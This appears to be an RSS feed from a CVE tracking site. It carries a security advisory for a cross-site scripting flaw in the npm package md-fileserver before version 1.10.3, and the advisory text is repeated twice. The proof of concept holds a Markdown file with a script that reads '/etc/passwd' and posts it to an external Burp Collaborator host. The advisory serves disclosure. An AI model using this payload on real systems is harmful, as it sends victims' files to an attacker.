https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Mon, 05 Oct 2026 19:40:42 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-326251 EUVD-2026-326251 https://cve.radiocsirt.org/vuln/euvd-2026-326251 https://cve.radiocsirt.org/vuln/fkie_cve-2026-46492 <p>md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including &lt;script&gt; tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.</p> <p>md-fileserver allows for local viewing of markdown files in a browser. Prior to version 1.10.3, a cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including &lt;script&gt; tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. This issue has been patched in version 1.10.3.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-46492 https://cve.radiocsirt.org/vuln/ghsa-32q2-hhr5-6qvv <p><strong>Affected:</strong> npm: md-fileserver</p> <p>### Summary A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including &lt;script&gt; tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.</p> <p>### Details An attacker can craft malicious Markdown content containing &lt;script&gt; tags or event handlers (e.g., &lt;img onerror=...&gt;). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.</p> <p>### Vulnerable Components config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML.</p> <p>lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.</p> <p>lib/pages/template.html The rendered Markdown is injected into the HTML template using &lt;%= markdown %&gt; without sanitization or output encoding.</p> <p>### PoC Create a pwn.md ``` # Hello</p> <p>&lt;script&gt; fetch(&#39;/etc/passwd&#39;, { credentials: &#39;include&#39; }) .then(r =&gt; r.text()) .then(t =&gt; fetch(&#39;https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil&#39;, { method: &#39;POST&#39;, body: t })); &lt;/script&gt;</p> <p>``` Open it on browser. &lt;img width=&#34;944&#34; height=&#34;238&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac&#34; /&gt; View the HTTP request in Burp Collaborator. &lt;img width=&#34;1328&#34; height=&#34;468&#34; alt=&#34;i…</p> <p><strong>Affected:</strong> npm: md-fileserver</p> <p>### Summary A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including &lt;script&gt; tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain.</p> <p>### Details An attacker can craft malicious Markdown content containing &lt;script&gt; tags or event handlers (e.g., &lt;img onerror=...&gt;). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser.</p> <p>### Vulnerable Components config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML.</p> <p>lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output.</p> <p>lib/pages/template.html The rendered Markdown is injected into the HTML template using &lt;%= markdown %&gt; without sanitization or output encoding.</p> <p>### PoC Create a pwn.md ``` # Hello</p> <p>&lt;script&gt; fetch(&#39;/etc/passwd&#39;, { credentials: &#39;include&#39; }) .then(r =&gt; r.text()) .then(t =&gt; fetch(&#39;https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil&#39;, { method: &#39;POST&#39;, body: t })); &lt;/script&gt;</p> <p>``` Open it on browser. &lt;img width=&#34;944&#34; height=&#34;238&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac&#34; /&gt; View the HTTP request in Burp Collaborator. &lt;img width=&#34;1328&#34; height=&#34;468&#34; alt=&#34;i…</p> https://cve.radiocsirt.org/vuln/ghsa-32q2-hhr5-6qvv